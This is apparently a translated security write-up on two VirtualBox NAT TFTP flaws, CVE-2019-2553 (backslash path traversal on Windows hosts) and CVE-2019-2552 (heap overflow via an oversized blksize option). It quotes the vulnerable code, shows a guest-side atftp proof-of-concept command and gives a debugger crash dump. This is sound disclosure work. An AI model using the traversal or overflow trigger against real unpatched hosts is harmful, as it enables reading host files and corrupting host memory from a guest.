原文地址:https://www.voidsecurity.in/

0x001 前言

NAT模式下的VirtualBox(默认配置)在IP地址10.0.2.4(随意指定)中运行只读TFTP服务器以支持PXE引导。以下利用的两个漏洞无需特权用户的操作触发,也无需安装Guest Additions,在默认配置下即可触发攻击。

0x002 CVE-2019-2553 - 目录遍历漏洞

TFTP服务器的源代码位于src/VBox/Devices/Network/slirp/tftp.c,它基于QEMU中所使用的TFTP服务器。

* This code is based on:
 *
 * tftp.c - a simple, read-only tftp server for qemu

调用函数tftpSecurityFilenameCheck()验证guest提供的文件路径,如下所示:

/**
 * This function evaluate file name.
 * @param pu8Payload
 * @param cbPayload
 * @param cbFileName
 * @return VINF_SUCCESS -
 *         VERR_INVALID_PARAMETER -
 */
DECLINLINE(int) tftpSecurityFilenameCheck(PNATState pData, PCTFTPSESSION pcTftpSession)
{
    size_t cbSessionFilename = 0;
    int rc = VINF_SUCCESS;
    AssertPtrReturn(pcTftpSession, VERR_INVALID_PARAMETER);
    cbSessionFilename = RTStrNLen((const char *)pcTftpSession->pszFilename, TFTP_FILENAME_MAX);
    if (   !RTStrNCmp((const char*)pcTftpSession->pszFilename, "../", 3)
        || (pcTftpSession->pszFilename[cbSessionFilename - 1] == '/')
        ||  RTStrStr((const char *)pcTftpSession->pszFilename, "/../"))
        rc = VERR_FILE_NOT_FOUND;

    /* only allow exported prefixes */
    if (   RT_SUCCESS(rc)
        && !tftp_prefix)
        rc = VERR_INTERNAL_ERROR;
    LogFlowFuncLeaveRC(rc);
    return rc;
}

此代码也是基于QEMU中的验证(slirp/tftp.c)

/* do sanity checks on the filename */
  if (!strncmp(req_fname, "../", 3) ||
      req_fname[strlen(req_fname) - 1] == '/' ||
      strstr(req_fname, "/../")) {
      tftp_send_error(spt, 2, "Access violation", tp);
      return;
  }

比较有意思的是,在QEMU中上述检查代码一般指定用作于Linux主机。但是,运行在Windows主机上VirtualBox在也依赖于这个相同的验证。由于反斜杠可以在Windows中用作目录分隔符,因此可以绕过在tftpSecurityFilenameCheck()中的检查,以读取在VirtualBox进程特权下可访问的主机文件。TFTP根文件夹的默认路径是C:\Users\\.VirtualBox\TFTP,通过合适地构造读取路径可以从主机读取文件。演示视频请访问翻译原文。

0x003 CVE-2019-2552 - 由于TFTP OptionBlkSize的错误验证引发堆溢出

在函数tftpSessionOptionParse()中设置TFTP选项的值

DECLINLINE(int) tftpSessionOptionParse(PTFTPSESSION pTftpSession, PCTFTPIPHDR pcTftpIpHeader)
{
...
        else if (fWithArg)
        {
            if (!RTStrICmp("blksize", g_TftpDesc[idxOptionArg].pszName))
            {
                rc = tftpSessionParseAndMarkOption(pszTftpRRQRaw, &pTftpSession->OptionBlkSize);
                if (pTftpSession->OptionBlkSize.u64Value > UINT16_MAX)
                    rc = VERR_INVALID_PARAMETER;
            }
...

如果值大于UINT16_MAX,则检查blksize选项。然后在tftpReadDataBlock()中使用值OptionBlkSize.u64Value来读取文件内容

DECLINLINE(int) tftpReadDataBlock(PNATState pData,
                                  PTFTPSESSION pcTftpSession,
                                  uint8_t *pu8Data,
                                  int *pcbReadData)
{
    RTFILE  hSessionFile;
    int rc = VINF_SUCCESS;

    uint16_t u16BlkSize = 0;
    . . .
    AssertReturn(pcTftpSession->OptionBlkSize.u64Value < UINT16_MAX, VERR_INVALID_PARAMETER); 
    . . .
    u16BlkSize = (uint16_t)pcTftpSession->OptionBlkSize.u64Value;
    . . .
        rc = RTFileRead(hSessionFile, pu8Data, u16BlkSize, &cbRead);
    . . .
}

由于不满足判断pcTftpSession-> OptionBlkSize.u64Value < UINT16_MAX,在调用RTFileRead()期间,通过将blksize的值设置为大于MTU,恶意构造的文件内容可以溢出邻近pu8Data的缓冲区。该漏洞可与目录遍历漏洞结合使用以触发带有受控数据的堆溢出,例如,如果启用了共享文件夹,guest虚拟机可以删除主机中具有任意内容的文件,然后使用目录遍历错误读取该文件。

为了便于调试,我们可以使用VirtualBox for Linux。在主机TFTP根文件夹中创建一个大小为UINT16_MAX的文件,即~/.config/VirtualBox/TFTP,然后用一个较大的blksize值从guest虚拟机中读取该文件。

guest@ubuntu:~$ atftp --trace --verbose --option "blksize 65535" --get -r payload -l payload 10.0.2.4
Thread 30 "NAT" received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0x7fff8ccf4700 (LWP 11024)]
[----------------------------------registers-----------------------------------]
RAX: 0x4141414141414141 ('AAAAAAAA')
RBX: 0x7fff8e5f16dc ('A' ...)
RCX: 0x1 
RDX: 0x4141414141414141 ('AAAAAAAA')
RSI: 0x800 
RDI: 0x140e730 --> 0x219790326 
RBP: 0x7fff8ccf39e0 --> 0x7fff8ccf3a10 --> 0x7fff8ccf3ab0 --> 0x7fff8ccf3bb0 --> 0x7fff8ccf3c90 --> 0x7fff8ccf3cf0 (--> ...)
RSP: 0x7fff8ccf39b0 --> 0x7fff8ccf39e0 --> 0x7fff8ccf3a10 --> 0x7fff8ccf3ab0 --> 0x7fff8ccf3bb0 --> 0x7fff8ccf3c90 (--> ...)
RIP: 0x7fff9457d8a8 (<slirp_uma_alloc>: mov    QWORD PTR [rax+0x20],rdx)
R8 : 0x0 
R9 : 0x10 
R10: 0x41414141 ('AAAA')
R11: 0x7fff8e5f1de4 ('A' ...)
R12: 0x140e720 --> 0xdead0002 
R13: 0x7fff8e5f1704 ('A' ...)
R14: 0x140e7b0 --> 0x7fff8e5f16dc ('A' ...)
R15: 0x140e730 --> 0x219790326
EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x7fff9457d89f <slirp_uma_alloc>: test   rax,rax
   0x7fff9457d8a2 <slirp_uma_alloc>: je     0x7fff9457d8b0 <slirp_uma_alloc>
   0x7fff9457d8a4 <slirp_uma_alloc>: mov    rdx,QWORD PTR [rbx+0x20]
=> 0x7fff9457d8a8 <slirp_uma_alloc>: mov    QWORD PTR [rax+0x20],rdx
   0x7fff9457d8ac <slirp_uma_alloc>: mov    rax,QWORD PTR [rbx+0x18]
   0x7fff9457d8b0 <slirp_uma_alloc>: mov    rdx,QWORD PTR [rbx+0x20]
   0x7fff9457d8b4 <slirp_uma_alloc>: mov    QWORD PTR [rdx],rax
   0x7fff9457d8b7 <slirp_uma_alloc>: mov    rax,QWORD PTR [r12+0x88]
[------------------------------------stack-------------------------------------]
0000| 0x7fff8ccf39b0 --> 0x7fff8ccf39e0 --> 0x7fff8ccf3a10 --> 0x7fff8ccf3ab0 --> 0x7fff8ccf3bb0 --> 0x7fff8ccf3c90 (--> ...)
0008| 0x7fff8ccf39b8 --> 0x140e720 --> 0xdead0002 
0016| 0x7fff8ccf39c0 --> 0x7fff8e5eddde --> 0x5b0240201045 
0024| 0x7fff8ccf39c8 --> 0x140dac4 --> 0x0 
0032| 0x7fff8ccf39d0 --> 0x140e730 --> 0x219790326 
0040| 0x7fff8ccf39d8 --> 0x140dac4 --> 0x0 
0048| 0x7fff8ccf39e0 --> 0x7fff8ccf3a10 --> 0x7fff8ccf3ab0 --> 0x7fff8ccf3bb0 --> 0x7fff8ccf3c90 --> 0x7fff8ccf3cf0 (--> ...)
0056| 0x7fff8ccf39e8 --> 0x7fff9457df41 (<uma_zalloc_arg>: test   rax,rax)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV

可以看到该漏洞被成功触发,调试器抛出了Segmentation fault

点击收藏 | 0 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖